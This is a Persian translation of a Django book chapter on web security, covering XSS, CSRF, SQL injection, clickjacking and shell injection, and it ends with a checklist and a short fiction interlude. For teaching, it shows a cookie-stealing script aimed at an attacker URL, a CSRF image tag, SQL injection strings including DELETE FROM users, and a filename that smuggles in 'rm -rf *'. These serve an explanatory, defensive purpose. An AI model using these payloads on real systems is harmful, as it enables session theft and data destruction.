و\n\nاز هیچ یک از اینها را نمی توان به طور کامل اجتناب کرد. مشکل واقعی زمانی است که از داده های خارجی استفاده می شود\nبدون تایید یا پاکسازی (همانطور که در تصویر زیر نشان داده شده است)؛\nهرگز به داده های بیرونی اعتماد نکنید:\n\n![image 01](1.jpg)\n\nبه عنوان مثال، بیایید نگاهی به یک کد آسیب پذیر بیندازیم و اینکه چگونه می توان\nیک حمله XSS را روی آن انجام داد. اکیداً توصیه می شود که از این کد به هیچ شکلی استفاده نکنید:\n\n```python\nclass XSSDemoView(View):\n    def get(self, request):\n        # WARNING: This code is insecure and prone to XSS attacks\n        # *** Do not use it!!! ***\n        if 'q' in request.GET:\n            return HttpResponse(\"Searched for: {}\".format(\n                request.GET['q']))\n\n        else:\n            return HttpResponse(\"\"\"<form method=\"get\">\n        <input type=\"text\" name=\"q\" placeholder=\"Search\" value=\"\">\n        <button type=\"submit\">Go</button>\n        </form>\"\"\")\n```\n\n<span dir=\"rtl\">کد قبلی یک کلاس **View** است که در صورت دسترسی بدون هیچ پارامتر **GET**، فرم جستجو را نشان می دهد. </span>\nاگر فرم جستجو ارسال شود، رشته **جستجو** را دقیقاً همانطور که کاربر در فرم وارد کرده است نشان می دهد.\n\nاکنون، این نمای را در یک مرورگر دارای تاریخ باز کنید (مثلاً IE 8) و عبارت جستجوی زیر را در فرم وارد کنید و آن را ارسال کنید:\n\n```js\n<script>alert(\"pwned\")</script>\n```\n\n\n<span dir=\"rtl\">جای تعجب نیست که مرورگر یک جعبه هشدار با پیام شوم - pwned را نشان می دهد. </span>\n<pre>\nاین حمله در مرورگرهای فعلی مانند آخرین کروم با شکست مواجه می‌شود، \nکه پیام خطای زیر را در کنسول نشان می‌دهد: از اجرای اسکریپت جاوا اسکریپت خودداری کرد. \n. کد منبع اسکریپت در درخواست یافت شد.\n</pre>\n\nاگر نمی‌دانید که یک پیام هشدار ساده چه آسیبی می‌تواند داشته باشد، به یاد داشته باشید که\nهر کد جاوا اسکریپت را می‌توان به همان شیوه اجرا کرد. در بدترین حالت، کوکی های\nکاربر را می توان با وارد کردن عبارت جستجوی زیر به سایتی که توسط مهاجم کنترل می شود ارسال کرد:\n\n```js\n<script>\n  var adr = 'http://lair.com/evil.php?stolen=' + escape(document.cookie);\n</script>\n```\n\nپس از ارسال کوکی‌های شما، مهاجم ممکن است بتواند حمله جدی‌تری انجام دهد.\n\n### چرا کوکی های شما ارزشمند است؟\n\nشاید ارزش درک این را داشته باشد که چرا کوکی ها هدف چندین حمله هستند.\nبه زبان ساده، دسترسی به کوکی‌ها به مهاجمان اجازه می‌دهد که شما را جعل کنند و\nحتی کنترل حساب وب شما را در دست بگیرند.\n\n<span dir=\"rtl\">برای درک دقیق این موضوع، باید مفهوم **sessions** را درک کنید.HTTP بدون تابعیت است </span>\n<span dir=\"rtl\">این بدان معناست که هر درخواست HTTP که سرور دریافت می‌کند مستقل است و به درخواست‌هایی که قبل از آن ارائه شده‌اند مربوط نمی‌شود. </span>\nجنگو چه یک کاربر ناشناس یا یک کاربر تأیید شده باشد، با مدیریت جلسات، فعالیت های آنها را برای مدت زمان مشخصی پیگیری می کند.\n\nیک جلسه شامل شناسه جلسه در انتهای کلاینت، یعنی مرورگر و یک شی دیکشنری مانند است که در انتهای سرور ذخیره می شود.\nشناسه جلسه یک رشته تصادفی 32 نویسه ای است که به عنوان یک کوکی در مرورگر ذخیره می شود. هر بار که یک کاربر از\nیک وب سایت درخواستی می کند، تمام کوکی های او، از جمله این شناسه جلسه، همراه با درخواست ارسال می شود.\n\n<span dir=\"rtl\">در انتهای سرور، جنگو یک ذخیره‌سازی جلسه دارد که این شناسه جلسه را به داده‌های جلسه نگاشت می‌کند. به \nطور پیش فرض، جنگو داده های جلسه را در جدول پایگاه داده **django_session** ذخیره می کند. </span>\n\nهنگامی که کاربر با موفقیت وارد سیستم می شود، جلسه متوجه می شود که احراز هویت موفقیت آمیز بوده و\nکاربر را پیگیری می کند. بنابراین، کوکی به یک تأیید هویت موقت کاربر برای تراکنش‌های بعدی تبدیل می‌شود.\n<span dir=\"rtl\">هر کسی که این کوکی را بدست آورد می تواند از این برنامه وب به عنوان آن کاربر استفاده کند که به آن Session Hijacking می گویند. </span>\n\n### جنگو چگونه کمک میکند؟\n\nشاید مشاهده کرده باشید که مثال من به دو دلیل روشی بسیار غیرمعمول برای\n<span dir=\"rtl\">پیاده سازی view در جنگو بود: از الگوها برای رندر استفاده نمی کرد و کلاس های فرم استفاده نمی شد. </span>\n<span dir=\"rtl\">هر دوی آنها اقدامات پیشگیری XSS را دارند. </span>\n\nبه‌طور پیش‌فرض، جنگو الگوهای فرار خودکار نویسه‌های ویژه HTML را ایجاد می‌کند.\nبنابراین، اگر رشته جستجو را در قالب نمایش داده بودید، همه تگ ها با کد HTML بودند.\nاین کار تزریق اسکریپت‌ها را غیرممکن می‌کند، مگر اینکه صریحاً با علامت‌گذاری محتوا به‌عنوان امن، آنها را خاموش کنید.\n</\n  >\n\nاستفاده از کلاس‌های فرم در جنگو برای اعتبارسنجی و سالم‌سازی ورودی نیز یک اقدام متقابل بسیار مؤثر است.\nبرای مثال، اگر برنامه شما به شناسه کارمند عددی نیاز دارد، از کلاس **IntegerField**\nبه جای کلاس **CharField** مجاز تر استفاده کنید.\n\n\nدر مثال ما، می‌توانیم از یک کلاس **RegexValidator** در فیلد عبارت جستجوی خود استفاده کنیم\nتا کاربر را به کاراکترهای الفبایی محدود کنیم و اجازه دهیم نمادهای نقطه‌گذاری توسط\nماژول جستجوی شما شناسایی شوند. محدوده قابل قبول ورودی کاربر را تا حد امکان محدود کنید.\n\n### جایی که جنگو ممکن است کمکی نکند\n\nجنگو می تواند از طریق فرار خودکار در قالب ها از ۸۰ درصد حملات XSS جلوگیری کند. برای سناریوهای باقی مانده، باید مراقب باشید که وظایف زیر را انجام دهید:\n\n- Quote all HTML attributes, for example, replace `<a href={{link}}>` with `<a href=\"{{link}}\">`\n- فرار از داده های پویا در CSS یا جاوا اسکریپت با استفاده از روش های **سفارشی**\n- اعتبارسنجی همه URL ها، به ویژه در برابر پروتکل های ناامن مانند جاوا اسکریپت\n- اجتناب از XSS سمت کاربر (همچنین به عنوان XSS مبتنی بر DOM شناخته می شود)\n\n\n\nبه عنوان یک قانون کلی در برابر XSS، من فیلتر در ورودی و معادل سازی خروجی(output escaping) را پیشنهاد می‌کنم.\nاطمینان حاصل کنید که هر داده‌ای را که وارد می‌شود کاملاً اعتبارسنجی و پاکسازی (فیلتر) شده باشد و بلافاصله قبل از ارسال آن\nبه کاربر، آن‌ها را تبدیل (output escaping) می‌کنید—مخصوصاً، اگر نیاز به پشتیبانی از ورودی کاربر با قالب‌بندی HTML\nمانند نظرات دارید، از Markdown استفاده کنید.\n\n<pre>\nفیلتر کردن ورودی ها و معادل سازی خروجی ها\n</pre>\n\n### جعل های درخواست بین سایتی(Cross-site request forgery)\n\n**جعل های درخواست بین سایتی (CSRF)** حمله ای است که کاربر را فریب می دهد تا در حالی که از سایت دیگری بازدید می کند،\nاقدامات ناخواسته ای را در یک وب سایت انجام دهد، جایی که قبلاً احراز هویت شده اند.\nمثلاً در یک فرم، یک مهاجم می‌تواند یک تگ IMG یا IFRAME را در صفحه قرار دهد\nکه درخواستی را که به دقت طراحی شده است به سایت تأیید شده ارسال می‌کند.\n\nبه عنوان مثال، تصویر جعلی0\\*0 زیر را می توان در یک کامنت جاسازی کرد:\n\n```html\n<img\n  src=\"http://superbook.com/post?message=I+am+a+Dufus\"\n  width=\"0\"\n  height=\"0\"\n  border=\"0\"\n/>\n```\n\nاگر قبلاً از برگه دیگری وارد SuperBook شده اید، و اگر\nسایت اقدامات متقابل CSRF نداشته باشد، پیام بسیار شرم آور پست می شود.\nبه عبارت دیگر، CSRF به مهاجم اجازه می دهد تا با فرض هویت شما اقداماتی را انجام دهد.\n\n### جنگو چگونه کمک میکند\n\nحفاظت اولیه در برابر CSRF استفاده از HTTP **POST** یا **PUT** و **DELETE**، (در صورت پشتیبانی) برای هر\nاقدامی است که دارای عوارض جانبی است. هر درخواست) GET یا( HEAD باید برای بازیابی اطلاعات استفاده شود، به عنوان\nمثال، فقط خواندنی.\n\n\nجنگو اقدامات متقابلی را علیه روش‌های **POST**، **PUT** یا **DELETE** با جاسازی یک توکن ارائه می‌کند.\nشما باید قبلاً با **{% csrf_token %}** ذکر شده در هر قالب فرم جنگو آشنا باشید.\nاین به یک مقدار تصادفی تبدیل می شود که باید هنگام ارسال فرم وجود داشته باشد.\nروش کار به این صورت است که مهاجم نمی تواند توکن را در حین ایجاد درخواست در سایت تأیید شده شما حدس بزند\n. از آنجایی که توکن اجباری است و باید با مقدار ارائه شده در حین پخش فرم مطابقت داشته باشد،\nارسال فرم با شکست مواجه می شود و حمله خنثی می شود.\n\n### جایی که جنگو ممکن است کمکی نکند\n\nبرخی از افراد چک‌های CSRF را در view با دکوراتور @csrf_exempt خاموش می‌کنند،\nمخصوصاً برای پست‌های فرم AJAX. این توصیه نمی شود\nمگر اینکه خطرات امنیتی مربوطه را به دقت در نظر گرفته باشید.\n\n## تزریق SQL (SQL injection)\n\nتزریق SQL دومین آسیب پذیری رایج برنامه های کاربردی وب پس از XSS است.\nاین حمله شامل وارد کردن کد SQL مخرب در یک کوئری است که در پایگاه داده اجرا می شود.\nاین می تواند منجر به سرقت داده ها، با ریختن محتوای پایگاه داده،\nیا تخریب داده ها، مثلاً با استفاده از دستور **DROP TABLE** شود.\n\n\nاگر با SQL آشنا هستید، می توانید کد زیر را درک کنید.\nیک آدرس ایمیل را بر اساس **نام کاربری** داده شده جستجو می کند:\n\n```python\nname = request.GET['user']\n\nsql = \"SELECT email FROM users WHERE username = '{}';\".format(name)\n```\n\nدر نگاه اول، ممکن است به نظر برسد که فقط آدرس ایمیل مربوط به نام کاربری\n** که به عنوان پارامتر **GET\\*\\* ذکر شده است، بازگردانده خواهد شد.\nبا این حال، تصور کنید اگر یک مهاجم 'OR'1'='1' را در قسمت فرم وارد کند،\nکد SQL به شکل زیر خواهد بود:\n\n\n```sql\nSELECT email FROM users WHERE username = '' OR '1'='1';\n```\n\nاز آنجایی که این بند **WHERE** همیشه درست خواهد بود،\nایمیل های همه کاربران برنامه شما برگردانده می شود.\nاین می تواند یک نشت جدی اطلاعات محرمانه باشد.\n\nمجدداً، اگر مهاجم بخواهد، می تواند پرس و جوهای خطرناک تری مانند موارد زیر را اجرا کند:\n\n```sql\nSELECT email FROM users WHERE username = ''; DELETE FROM users WHERE '1'='1';\n```\n\nاکنون، تمام ورودی های کاربر از پایگاه داده شما پاک می شود!\n\n### جنگو چگونه کمک میکند\n\nاقدام متقابل در برابر تزریق SQL نسبتاً ساده است. از Django ORM به جای ساخت دستورات SQL به صورت مستقیم استفاده کنید.\nمثال قبل باید به صورت زیر پیاده سازی شود\n\n```python\nUser.objects.get(username=name).email\n```\n\nدر اینجا، درایورهای پایگاه داده جنگو به طور خودکار از پارامترها فرار می کنند.\nاین اطمینان حاصل می کند که آنها به عنوان داده صرفاً در نظر گرفته می شوند و بنابراین بی ضرر هستند.\nبا این حال، همانطور که به زودی خواهیم دید، حتی ORM دارای چندین مشکل است.\n\n### جایی که جنگو ممکن است کمکی نکند\n\nمثلاً به دلیل محدودیت‌های ORM جنگو، ممکن است مواردی وجود داشته باشد که افراد نیاز به استفاده از SQL خام داشته باشند.\nبرای مثال با استافاده از متد **extra()** میتوانید از کد های sql خام استفاده کنید\nولی ابن کد sql در مقابل SQL injections مقاوم نیست\n\n\nاگر از API سطح پایین ORM، مانند متد **execute()** استفاده می کنید، ممکن است\nبخواهید به جای درون یابی رشته SQL، پارامترهای bind را ارسال کنید.\nحتی در این صورت، اکیداً توصیه می‌شود که بررسی کنید که\nکه آیا هر شناسه به درستی حذف شده است یا خیر.\n\n\nدر نهایت، اگر از API پایگاه داده شخص ثالث مانند MongoDB استفاده می کنید،\nباید به صورت دستی تزریق SQL را بررسی کنید. در حالت ایده‌آل،\nشما می‌خواهید فقط از داده‌های کاملاً تمیز شده با چنین رابط‌هایی استفاده کنید.\n\n### دزدی کلیک (Clickjacking)\n\n**Clickjacking** وسیله ای برای گمراه کردن کاربر برای کلیک بر روی پیوند یا دکمه مخفی\nدر مرورگر زمانی که قصد کلیک روی چیز دیگری را دارد.\n\nاین معمولاً با استفاده از یک IFRAME نامرئی که حاوی وب سایت مورد نظر است، اجرا می شود\nروی یک صفحه وب ساختگی (در اینجا نشان داده شده است) که کاربر احتمالاً روی آن کلیک می کند:\n\n![image 02](2.jpg)\n\nاز آنجایی که دکمه عمل در قاب نامرئی دقیقاً در بالای دکمه در صفحه ساختگی تراز شده است،\nکلیک کاربر به جای آن اقدامی را در وب سایت مورد نظر انجام می دهد.\n\n### جنگو چگونه کمک میکند\n\nجنگو با استفاده از میان افزارهایی (middleware)که می توانند با استفاده از\nچندین دکوراتور به خوبی تنظیم شوند، از سایت شما در برابر کلیک جک محافظت می کند.\nبه طور پیش‌فرض، این میان‌افزار «django.middleware.clickjacking.XFrameOptionsMiddleware» در\n**MIDDLEWARE_CLASSES** شما در فایل تنظیمات شما گنجانده می‌شود. با تنظیم هدر XFrame-Options\nروی **SAMEORIGIN** برای هر **HttpResponse** خروجی کار می کند.\n\n\nاکثر مرورگرهای مدرن هدر را تشخیص می دهند، به این معنی\nکه این صفحه نباید در یک قاب در دامنه های دیگر باشد. حفاظت را می توان\nبرای نماهای خاصی با استفاده از دکوراتورها، مانند `@xframe_options_deny` و\n`@xframe_options_exempt` فعال و غیرفعال کرد.\n\n  \n### تزریق دستورات سیستم عامل (Shell injection)\nهمانطور که از نام آن پیداست، تزریق shell یا تزریق فرمان به مهاجم اجازه می دهد\nتا کد مخرب را به shell سیستم مانند bash تزریق کند. حتی برنامه‌های کاربردی تحت وب\nنیز از برنامه‌های خط فرمان برای راحتی و عملکردشان استفاده می‌کنند.\nچنین فرآیندهایی معمولاً در یک shell اجرا می شوند.\n\nبه عنوان مثال، اگر می خواهید تمام جزئیات فایلی را که نام آن توسط کاربر داده شده است\nرا نشان دهید، یک پیاده سازی ساده به صورت زیر خواهد بود:\n\n```python\nos.system(\"ls -l {}\".format(filename))\n```\n\nمهاجم می‌تواند نام فایل را به‌عنوان «manage.py» وارد کند. rm -rf \\*`\nو تمام فایل های دایرکتوری خود را حذف کنید. به طور کلی\nاستفاده از \"os.system\" توصیه نمی شود. ماژول subprocess جایگزین امن‌تری است (یا حتی بهتر است\n، ، می‌توانید از «os.stat()» برای دریافت ویژگی‌های فایل استفاده کنید).\n\n\nاز آنجایی که یک shell آرگومان های خط فرمان و متغیرهای محیطی را تفسیر می کند،\nتنظیم مقادیر مخرب در آنها می تواند به مهاجم اجازه دهد تا دستورات سیستم دلخواه را اجرا کند.\n\n### جنگو چگونه کمک میکند\n\nجنگو در درجه اول برای استقرار به WSGI وابسته است. از آنجایی که WSGI،\nبرخلاف CGI، بر روی متغیرهای محیطی (environment variables)بر اساس\nخود چارچوب در پیکربندی پیش‌فرض خود در برابر تزریق فرمان خط آسیب‌پذیر نیست.\n\n\nبا این حال، اگر برنامه جنگو نیاز به اجرای سایر فایل های اجرایی داشته باشد،\nباید مراقب اجرای آن به صورت محدود، یعنی با حداقل مجوزها باشد.\nهر پارامتری که منشا خارجی دارد باید قبل از ارسال به چنین فایل های اجرایی آنیتیزه شود.\nعلاوه بر این، از call() از ماژول subprocess برای اجرای برنامه‌های خط\nفرمان با پارامتر پیش‌فرض «shell=False» استفاده کنید تا اگر درون‌یابی فرمان خط لازم نباشد، آ\nآرگومان‌ها را به‌طور ایمن مدیریت کنید.\n\n### و حملات وب پایان ناپذیر هستند\n\nصدها تکنیک حمله وجود دارد که ما در اینجا به آنها اشاره نکرده‌ایم،\n، و با یافتن حملات جدید، فهرست هر روز بیشتر می‌شود.\nمهم است که خود را از آنها آگاه کنیم.\n\nوبلاگ رسمی جنگو (https://www.djangoproject.com/weblog/) مکانی عالی\nبرای اطلاع از آخرین اکسپلویت های کشف شده است. نگهبانان جنگو به طور فعال سعی می کنند\nبا انتشار نسخه های امنیتی آنها را حل کنند. به شدت توصیه می شود که آنها را در اسرع وقت\nنصب کنید زیرا معمولاً نیاز به تغییر بسیار کمی در کد منبع شما دارند یا هیچ تغییری ندارند.\n\nامنیت اپلیکیشن شما به اندازه ضعیف ترین لینک آن قوی است.\nحتی اگر کد جنگو شما کاملاً ایمن باشد، لایه‌ها و مؤلفه‌های زیادی در پشته شما وجود دارد،\nبه غیر از عناصر انسانی، که می‌توان با تکنیک‌های مختلف مهندسی اجتماعی، مانند فیشینگ، آنها را فریب داد.\n\nآسیب پذیری ها در یک منطقه، مانند سیستم عامل، پایگاه داده یا وب سرور\n، می توانند برای دسترسی به سایر بخش های سیستم مورد سوء استفاده قرار گیرند.\nاز این رو، بهتر است به جای مشاهده جداگانه هر قسمت، یک دید کلی از پشته خود داشته باشید.\n\n<pre>\n    **اتاق امن**\nبه محض اینکه استیو از اتاق هیئت مدیره خارج شد، تلفن خود را بیرون آورد و \nیک ایمیل تک خطی واضح را به تیمش ارسال کرد: \"این کار است!\"\n\nدر 60 دقیقه اخر او توسط پرسش های جزعی رعیس درباره کوچک \nترین نکات اجرای برنامه به چالش کشیده شد. \nخانم اُ، با ناراحتی استیو، در تمام مدت سکوت خود را حفظ کرد.\n    \nوارد کابینش شد و یک بار دیگر پرینت اسلایدهایش را باز کرد. پس از معرفی چک لیست ها، \n. پس از معرفی چک لیست ها، تعداد باگ های بی اهمیت به شدت کاهش یافت. ویژگی‌های اساسی که گنجاندن آنها \nدر نسخه غیرممکن بود از طریق همکاری اولیه با سرورهای \nسرورهای مفیدی مانند Hexa و Aksel به کار گرفته شدند.\n\nبه لطف کمپین بازاریابی درخشان سو، تعداد ثبت نام‌ها برای سایت بتا از 9000 گذشت.  \nاستیو هرگز در دوران حرفه‌ای خود این همه علاقه برای راه اندازی ندیده بود\nآن موقع بود که متوجه چیز عجیبی در مورد روزنامه روی میزش شد.\n    \nپانزده دقیقه بعد، او با عجله از راهرو در طبقه 21 پایین آمد. در انتهای آن، \n، دری با علامت 2109 وجود داشت. وقتی در را باز کرد، اوان را دید که\nروی چیزی شبیه یک لپ‌تاپ اسباب‌بازی پلاستیکی سفید کار می‌کرد. \nاستیو پرسید: \"چرا سرنخ های جدول کلمات متقاطع را حلقه زدی؟\nمی توانستی با من تماس بگیری.\"    \n\n    «او با پوزخند پاسخ داد: می خواهم چیزی به شما نشان دهم». لپ تاپش را گرفت و بیرون رفت.\n    او بین اتاق 2110 و خروجی آتش متوقف شد. روی زانوهایش افتاد و با دست راست\n    کاغذ دیواری رنگ و رو رفته را گرفت. او زمزمه کرد: \"اینجا باید یک قفل وجود داشته باشد.\"\n    \n    \n    سپس دستش ایستاد و دسته ای را که به سختی از دیوار بیرون زده بود چرخاند. \n    قسمتی از دیوار چرخید و متوقف شد. ورودی اتاقی را نشان داد که با چراغ قرمز \n    روشن شده بود. تابلویی در داخل که از پشت بام آویزان بود \n    روی آن نوشته شده بود: «اتاق امن »21B.\n    \n    وقتی وارد شدند، صفحات و چراغ‌های متعددی به خودی خود روشن شدند. \n    یک صفحه نمایش بزرگ روی دیوار نوشته بود \"احراز هویت لازم است. کلید را وارد کنید.\" \n    ایوان برای مدت کوتاهی این را تحسین کرد و شروع به سیم کشی لپ تاپ خود کرد.\n    \n    ایوان، ما اینجا چه کار می کنیم؟\" استیو با صدایی خاموش پرسید. \n    \" ایوان ایستاد، \"اوه، درست است. حدس می‌زنم تا پایان آزمایش‌ها کمی وقت داریم.\"\n    او یک نفس عمیق کشید.\n    \n    \"به یاد دارید زمانی که خانم O از من خواست به پایگاه کد سنتینل نگاه کنم؟ \n    من این کار را کردم. متوجه شدم که کد منبع سانسور شده به ما داده شده است. \n    منظورم این است که می توانم برخی از رمزهای عبور را اینجا و آنجا حذف کنم، \n    اما هزاران خط کد را درک کنم؟ مدام فکر می کردم - باید اتفاقی می افتاد.\"\n    \n    \n    بنابراین، با دسترسی من به بایگانی، برخی از نسخه های پشتیبان قدیمی را برداشتم. \n    \" احتمال پاک نشدن یک رسانه مغناطیسی به طرز شگفت آوری زیاد است. \n    به هر حال، من می توانم بیشتر کدهای پاک شده را بازیابی کنم. آنچه را دیدم باور نخواهید کرد. \"\n    \n    \n    Sentinel یک پروژه شبکه اجتماعی معمولی نبود. \n    این یک برنامه نظارتی بود. شاید بزرگترین شناخته شده برای بشر.\n    \n    پس از جنگ سرد، گروهی از کشورها برای ایجاد شبکه ای \n    برای اشتراک گذاری اطلاعات اطلاعاتی به یکدیگر پیوستند. شبکه ای از انسان ها\n    و نگهبانان. انتینل ها کامپیوترهایی نیمه مستقل با قدرت محاسباتی باورنکردنی هستند.\n    برخی معتقدند که آنها کامپیوترهای کوانتومی هستند.\n    \n    نگهبان‌ها در هزاران مکان استراتژیک در سراسر بسترهای اقیانوسی جهان \n    که کابل‌های اصلی فیبر نوری از آنجا عبور می‌کنند، قرار گرفتند.\n    آنها با انرژی زمین گرمایی کار می‌کردند، و عملاً غیرقابل تخریب بودند. \n    آنها تقریباً به تمام ارتباطات اینترنتی در اکثر کشورها دسترسی داشتند.\n    \n    در مقطعی در دهه نود، شاید از ترس نظارت عمومی، برنامه سنتینل تعطیل شد. \n    اینجاست که واقعا جالب می شود. تاریخچه کد نشان می دهد که توسعه در Sentinels \n    توسط شخصی به نام Cerebos ادامه یافت. این کد به طرز چشمگیری از توانایی های نظارتی \n    خود برای ایجاد نوعی ابر رایانه موازی بسیار افزایش یافته است. یک جانور اعداد خرد کننده \n    که هیچ الگوریتم رمزگذاری برای او چالش مهمی ایجاد نمی کند.\n    \n    نقض را به یاد دارید؟ برای من سخت بود که باور کنم قبل از آمدن ابرقهرمانان \n    حتی یک حرکت تهاجمی وجود نداشت. بنابراین، من کمی تحقیق کردم. \n    امنیت سایبری SHIM به صورت پنج حلقه متحدالمرکز طراحی شده است. \n    ما، کارمندان، در بیرونی ترین، کم برخوردارترین حلقه ای هستیم که توسط سائورون \n    محافظت می شود. حلقه‌های داخلی با الگوریتم‌های رمزنگاری قوی‌تر طراحی می‌شوند. \n    این اتاق در طبقه 4 است.\n    \n    حدس من این است که مدت‌ها قبل از اینکه ما از این رخنه مطلع شویم، همه \n    سیستم‌های سائورون در معرض خطر قرار گرفته بودند. سیستم‌ها از کار افتاده بودند\n    و ورود آن روبات‌ها به محوطه دانشگاه عملاً یک راهپیمایی بود. من فقط به سیاهه ها نگاه کردم. \n    این حمله بسیار هدفمند بود – همه چیز از آدرس های IP گرفته \n    تا ورود به سیستم از قبل شناخته شده بود.\n    \n    \"داخلی?\" استیو با وحشت پرسید.\n    \n    بله. با این حال، Sentinels فقط برای سطح 5 نیاز به کمک داشت. \n    \" هنگامی که آنها کلیدهای عمومی برای سطح 4 را به دست آوردند،\n    آنها شروع به حمله به سیستم های سطح 4 کردند. این دیوانه به نظر\n    می رسد اما این استراتژی آنها بود.\"\n\n    \"چرا دیوانه است؟\"\n    \n    \"خب، بیشتر امنیت آنلاین جهان مبتنی بر رمزنگاری با کلید عمومی یا رمزنگاری\n    نامتقارن است. این امنیت مبتنی بر دو کلید است: یکی عمومی و دیگری خصوصی. \n    اگرچه از نظر ریاضی مرتبط است، یافتن یک کلید در صورت داشتن\n    این کلید از نظر محاسباتی غیرعملی است. دیگر\"\n    \n    \"آیا می گویید که شبکه سنتینل می تواند؟\"\n    \n    \"در واقع، آنها می توانند برای کلیدهای کوچکتر. بر اساس آزمایشاتی که در حال حاضر \n    انجام می دهم، قدرت آنها به طور قابل توجهی افزایش یافته است. \n    با این سرعت، آنها باید در کمتر از 24 ساعت برای حمله دیگری آماده شوند.\"\n    \n    \"لعنتی، آن زمان است که SuperBook پخش می شود!\"\n\n</pre>\n\n### یک چک لیست امنیتی مفید\n\nامنیت یک فکر بعدی نیست، بلکه در نحوه نوشتن برنامه ها ضروری است.\nبا این حال، از آنجایی که انسان هستید، داشتن یک چک لیست برای یادآوری\nموارد مشترک مفید است.\n\nنکات زیر حداقلی از بررسی های امنیتی است که باید قبل از عمومی کردن برنامه جنگو خود انجام دهید:\n\n- **به داده های یک مرورگر، API یا هر منبع خارجی اعتماد نکنید:**\n  این یک قانون اساسی است. اطمینان حاصل کنید که هر گونه داده خارجی را تأیید و پاکسازی می کنید.\n- **نگه ندارید** کلید خصوصی را **در کنترل نسخه:** به عنوان بهترین تمرین، انتخاب کنید **کلید خصوصی**\n   پکیج `django-environ` را ببینید.\n- **رمزهای عبور را در متن ساده ذخیره نکنید:** در عوض هش رمز عبور برنامه خود را ذخیره کنید. یک نمک تصادفی نیز اضافه کنید.\n- **هیچ داده حساسی را ثبت نکنید:** اطلاعات محرمانه مانند جزئیات کارت اعتباری یا کلیدهای API را قبل از ثبت آنها در فایل های گزارش خود فیلتر کنید.\n\n- **هر تراکنش امن یا ورود به سیستم باید از SSL استفاده کند:** آگاه باشید که استراق سمع کنندگان در\n  همان شبکه ای که اگر در HTTPS نباشد، می توانید به ترافیک وب خود گوش دهید.\n  در حالت ایده آل، شما باید از HTTPS برای کل سایت استفاده کنید.\n- **از استفاده از تغییر مسیر به URL های ارائه شده توسط کاربر خودداری کنید:** اگر ریدایرکت هایی مانند\n  http://example.com/r?url=http://evil.com, سپس همیشه دامنه های در لیست سفید را بررسی کنید.\n\n- **بررسی مجوز حتی برای کاربران احراز هویت شده:** قبل از انجام هر کدام\n  تغییر با عوارض جانبی، بررسی کنید که آیا کاربر وارد شده مجاز به انجام آن است یا خیر.\n\n- **از دقیق ترین عبارات منظم ممکن استفاده کنید:**  \n  چه «URLconf» یا اعتبار سنجی‌های فرم شما، باید از عبارات منظم تنبل و عمومی اجتناب کنید.\n\n- **کد پایتون خود را در ریشه وب نگه ندارید:**\n  این می تواند منجر به نشت تصادفی کد منبع شود اگر به عنوان متن ساده ارائه شود.\n\n- **به جای ساختن رشته ها با دست از الگوهای جنگو استفاده کنید:**\n  قالب ها در برابر حملات XSS محافظت می کنند.\n\n- **از Django ORM به جای دستورات SQL استفاده کنید:**\n  ORM محافظت در برابر تزریق SQL را ارائه می دهد.\n\n- **از فرم های جنگو با ورودی POST برای هر اقدامی با عوارض جانبی استفاده کنید:**\n  ممکن است استفاده از فرم ها برای یک دکمه ساده رای زیاده روی به نظر برسد، اما این کار را انجام دهید.\n\n- **CSRF باید فعال و استفاده شود:**\n  اگر نماهای خاصی را با استفاده از دکوراتور @csrf_exempt معاف می کنید، بسیار مراقب باشید.\n\n- **اطمینان حاصل کنید که جنگو و همه بسته ها آخرین نسخه هستند:**\n  برای به روز رسانی برنامه ریزی کنید. آنها ممکن است نیاز به\n  تغییراتی در کد منبع شما داشته باشند. با این حال، آن‌ها ویژگی‌های جدید\n  درخشان و اصلاحات امنیتی را نیز به ارمغان می‌آورند.\n\n- **اندازه و نوع فایل های آپلود شده توسط کاربر را محدود کنید:**\n  بارگذاری فایل های اجرایی یا اسکریپت ها را رد کنید.\n  بارگذاری فایل های اجرایی یا اسکریپت ها را رد کنید.\n\n- **یک برنامه پشتیبان و بازیابی داشته باشید:**\n  به لطف مورفی، می توانید برای یک حمله اجتناب ناپذیر،\n  فاجعه یا هر نوع خرابی دیگری برنامه ریزی کنید. اطمینان حاصل کنید که\n  برای به حداقل رساندن از دست دادن داده ها، به طور مکرر نسخه پشتیبان تهیه می کنید.\n\nبرخی از این موارد را می توان به طور خودکار با استفاده از Erik's Pony Checkup\nدر http://ponycheckup.com/ بررسی کرد. با این حال، توصیه می کنم\nاین چک لیست را پرینت یا کپی کنید و روی میز خود بچسبانید.\n\nبه یاد داشته باشید که این لیست به هیچ وجه جامع نیست و جایگزینی\nبرای ممیزی امنیتی مناسب توسط یک متخصص نیست.\n\n### خلاصه\n\nدر این فصل، ما به انواع رایج حملاتی که بر وب سایت ها و برنامه های کاربردی\nوب تأثیر می گذارند نگاه کردیم. در بسیاری از موارد، توضیح تکنیک ها برای\nوضوح و به قیمت جزئیات ساده شده است. با این حال، هنگامی که ما شدت حمله را درک کنیم،\nمی توانیم از اقدامات متقابلی که جنگو ارائه می دهد قدردانی کنیم.\n\nدر فصل پایانی خود، نگاهی به فعالیت های پیش از استقرار با جزئیات بیشتر\nخواهیم داشت. ما همچنین نگاهی به استراتژی های مختلف استقرار، مانند\nمیزبانی مبتنی بر ابر برای استقرار یک برنامه جنگو خواهیم داشت.\n"
  },
  {
    "path": "13-Production-Ready/README.md",
    "content": "# آماده برای تولید\n\nدر این فصل به مباحث زیر می پردازیم:\n- انتخاب یک وب استک\n- رویکردهای میزبانی\n- بزارهای استقرار\n- مانیتورینگ\n- نکاتی برای کارایی\n\nخوب  شما تاکنون یک برنامه وب کاملا کاربردی را در جنگو توسعه داده و آنرا مورد آزمایش قرار داده اید. استقرار این برنامه می‌تواند شامل مجموعه‌ای از فعالیت‌ها از انتخاب ارائه‌دهنده میزبانی شما تا اجرای نصب باشد. حتی چالش‌برانگیزتر می‌تواند اقدامات مربوط به حفظ یک سایت تولید شده باشد، تا بدون وقفه و مدیریت انفجارهای غیرمنتظره در ترافیک بالا کار ‌کند.\n\nقوانین مدیریت سیستم بسیار گسترده است. از این رو، این فصل زمینه های زیادی را پوشش خواهد داد. با این حال، با توجه به فضای محدود، سعی می کنیم شما را با جنبه های مختلف ساخت یک محیط تولید و پروداکشن آشنا کنیم.\n\n\n\n### محیط تولید و پروداکشن\n\nاگرچه بسیاری از ما به طور شهودی درک می کنیم که یک محیط تولید چیست، مشخص نمودن معنای واقعی آن حائز اهمیت است. محیط تولید به سادگی محیطی است که کاربران نهایی از برنامه شما استفاده می کنند. باید در دسترس، انعطاف پذیر، ایمن، پاسخگو باشد و باید ظرفیت فراوانی برای 